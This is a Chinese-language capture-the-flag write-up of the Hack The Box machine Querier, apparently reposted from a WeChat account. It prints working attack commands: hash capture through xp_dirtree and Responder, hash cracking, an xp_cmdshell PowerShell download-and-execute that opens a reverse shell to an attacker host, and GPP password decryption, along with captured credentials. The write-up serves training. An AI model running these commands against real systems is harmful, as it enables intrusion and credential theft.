HTB平台 | 记一次完整的靶机渗透测试过程!

admin 2023年5月11日18:47:15评论28 views字数 5608阅读18分41秒阅读模式
HTB平台 | 记一次完整的靶机渗透测试过程!
HTB平台 | 记一次完整的靶机渗透测试过程!

点击上方蓝字关注我们

HTB平台 | 记一次完整的靶机渗透测试过程!


HTB平台 | 记一次完整的靶机渗透测试过程!
1

免责声明


      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。


2

内容速览

0x00前言

HTB平台 | 记一次完整的靶机渗透测试过程!是一个没有web页面的靶机环境,主要针对office宏和myssql的信息搜集和利用点

0x01 知识点

  1. 分析office宏oletools套件
  2. mssql高权限凭据窃取
  3. mssql反弹shell
  4. 工具Nishang、PowerUP脚本使用

0x03 获取权限

信息搜集

可见smb和mssql 开了。连web都没有,就这几个端口渗透了

C:root> nmap -A 10.10.10.125
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-13 09:36 CST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.34s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-02-13T01:34:59
|_Not valid after: 2051-02-13T01:34:59
|_ssl-date: 2021-02-13T01:37:58+00:00; -1s from scanner time.
No exact OS matches for host (If you know what OS is running on i

smb获取文件

在nmap看到了QUERIER.HTB,加到本机的/etc/hosts,然后进行smb渗透,发现有个report,再进report。发现有个excel文件。下载下来

smbclient --list //querier.htb/ -U ""
smbclient //querier.htb/Reports/ -U ""

那么我们用smbclient来访问Reports目录,并执行命令操作

HTB平台 | 记一次完整的靶机渗透测试过程!

发现目录里面有一个excel文件,我们把他下载回来

HTB平台 | 记一次完整的靶机渗透测试过程!xls是2003版本下的文件,不管有没有宏程序的话都是xls文件。

2007做了区分,XLSM文件XLSX文件都是excel2007文件,但前者是含有宏启用,Excel中默认情况下不自动启用宏。

Excel不会执行宏XLSX文件,即使它们包含宏代码,因此含有宏的文件可以保存为xlsm文件。

这个“Currency Volume Report.xlsm”是存在宏的,将xlsm改成zip后缀解压里面有个vbaProject.bin文件

这里我们用下OLE工具套件来分析office宏

ole套件使用

用apt安装ole套件

HTB平台 | 记一次完整的靶机渗透测试过程!

如果无法用apt安装,可以直接下载仓库

https://github.com/decalage2/oletools

安装必要的模块

pip install -r requirements.txt

执行

python /root/exp/oletools-master/oletools/olevba.py vbaProject.bin

发现账号密码HTB平台 | 记一次完整的靶机渗透测试过程!获取一个账号密码Uid=reporting;Pwd=PcwTWTHRwryjc$c6

尝试mssql登录

登录mssql

著名的impacket包里的mssql登录工具https://github.com/SecureAuthCorp/impacket

mssqlclient.py -windows-auth [email protected]

打开cmd功能但是报错

enable_xp_cmdshell

然后我们访问下cmd,发现被禁止

HTB平台 | 记一次完整的靶机渗透测试过程!

因为我们的权限不够,但是我们可以用Responder对服务器上的凭证进行窃取

NTLMv2 hash 跟giddy靶机类似,如下需要在本地开个SMB服务,通过访问本地攻击机来抓取hash

# 这个IP是本地攻击机IP,文件名是根据情况确定
exec xp_dirtree '\10.10.10.125fileshtb'

HTB平台 | 记一次完整的靶机渗透测试过程!

本机打开sudo responder -I tun0,抓到

mssql-svc::QUERIER:1072ba8399b709af:A582155B75AC3C72DF13147587E681EB:0101000000000000C0653150DE09D20166C9A7E7E98C6385000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000009B0DB065978622B7274EE512609B3E76554B8A83FBF5360AB1FBFD04EC4999A00A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003500000000000000000000000000

方法一 john解密

HTB平台 | 记一次完整的靶机渗透测试过程!

方法二 hashcat解密

hashcat -m 5600 Querier.NetNTLMv2 /usr/share/wordlists/rockyou.txt

HTB平台 | 记一次完整的靶机渗透测试过程!

得到密码corporate568,继续新账号登录

mssqlclient.py  -windows-auth mssql-svc:[email protected]

继续打开cmd功能

enable_xp_cmdshell

执行成功

EXEC xp_cmdshell "whoami"

HTB平台 | 记一次完整的靶机渗透测试过程!

反弹shell

我们使用nishang的反弹shell脚本https://github.com/sdfzy/nishang

cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1

然后我们编辑下reverse.ps1脚本在底下加上,IP写上你自己的IP,端口写上你nc监听的端口

HTB平台 | 记一次完整的靶机渗透测试过程!

然后还是老样子用python开启简单HTTP服务,让靶机把我们的reverse.ps1下载并执行

xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadstring("http://10.10.16.2:82/Invoke-PowerShellTcp.ps1")"

HTB平台 | 记一次完整的靶机渗透测试过程!

在本地使用NC监听端口,然后我们就能拿到shell,得到user的flag

HTB平台 | 记一次完整的靶机渗透测试过程!

提权

这里我们使用PowerSploit里面的提权信息收集脚本PowerUp.ps1

https://github.com/PowerShellMafia/PowerSploit

一样把脚本拷贝过来,并让靶机下载执行

HTB平台 | 记一次完整的靶机渗透测试过程!

IEX(New-Object Net.Webclient).downloadstring("http://10.10.16.2:82/PowerUp.ps1");Invoke-AllChecks

HTB平台 | 记一次完整的靶机渗透测试过程!
HTB平台 | 记一次完整的靶机渗透测试过程!

这里可能需要等几分钟出结果

HTB平台 | 记一次完整的靶机渗透测试过程!

这里我们看到一个服务滥用

我们尝试利用下

HTB平台 | 记一次完整的靶机渗透测试过程!

发现john确实加进来了,我们利用smbmap利用下,这里需要增加-d参数   写上域的名字

HTB平台 | 记一次完整的靶机渗透测试过程!
HTB平台 | 记一次完整的靶机渗透测试过程!

然后发现这个john的权限也不够

我们换一个提权方式

HTB平台 | 记一次完整的靶机渗透测试过程!
Changed   : {2019-01-28 23:12:48}                                                                                                                            
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:ProgramDataMicrosoftGroup
PolicyHistory{31B2F340-016D-11D2-945F-00C04FB984F9}MachinePreferencesGroupsGroups.xml

这里还有一组管理员的账号和密码我们再次进行尝试,成功!

HTB平台 | 记一次完整的靶机渗透测试过程!

提权成功,我们已经拿到system权限了,这里就不演示cat root flag了

HTB平台 | 记一次完整的靶机渗透测试过程!

GPP提权

这里还有一种是GPP漏洞的利用,原理跟上面是差不多的。只是需要自己手动破解密码,我们可以通过找到组策略里面的管理员密码并破解出来

HTB平台 | 记一次完整的靶机渗透测试过程!

Groups.xml

<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>

我们仍然需要解密密码,这可以通过以下方式轻松完成gpp-decrypt:

root@kali:~/HTB/Querier# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ                                        

/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
MyUnclesAreMarioAndLuigi!!1!

这里看到这里的密码也是我们上面获取到的密码一样

MyUnclesAreMarioAndLuigi!!1!直接使用evil-winrm连接

evil-winrm -i 10.10.10.125 -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!'

获得最终FlagHTB平台 | 记一次完整的靶机渗透测试过程!

0x04 总结

这个靶机重点在于对Mssql的凭据获取和反弹,首先从smb获取带宏的xlsm文件,并用ole来分析宏,获得了mssql的低权限用户,使用Responder抓取高权限凭据的hash,并使用john或hashcat对NTML进行解密,成功使用nishang的脚本反弹shell,并使用提权信息收集脚本PowerUp.ps1获取到明文的administrator账户密码,直接拿到最终的Flag完成该靶机渗透全过程。

HTB平台 | 记一次完整的靶机渗透测试过程!
HTB平台 | 记一次完整的靶机渗透测试过程!

如果想要系统学习网络安全技术

不妨加入知识星球课程

《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

HTB平台 | 记一次完整的靶机渗透测试过程!知识星球HTB平台 | 记一次完整的靶机渗透测试过程!


超值 | 一起学网络安全! 授人以鱼不如授人以渔!


HTB平台 | 记一次完整的靶机渗透测试过程!

HTB平台 | 记一次完整的靶机渗透测试过程!

HTB平台 | 记一次完整的靶机渗透测试过程!活动优惠券HTB平台 | 记一次完整的靶机渗透测试过程!

HTB平台 | 记一次完整的靶机渗透测试过程!


跟着60天入门学习路线一起学

期待你的到来!


HTB平台 | 记一次完整的靶机渗透测试过程!


往期推荐



从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。



更多内容请关注公众号

网络安全自修室

回复:”网络安全入门教程
领取系统网络安全学习教程!
HTB平台 | 记一次完整的靶机渗透测试过程!
HTB平台 | 记一次完整的靶机渗透测试过程!

点个在看你最好看

HTB平台 | 记一次完整的靶机渗透测试过程!

原文始发于微信公众号(网络安全自修室):HTB平台 | 记一次完整的靶机渗透测试过程!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月11日18:47:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB平台 | 记一次完整的靶机渗透测试过程!https://cn-sec.com/archives/1726026.html

发表评论

匿名网友 填写信息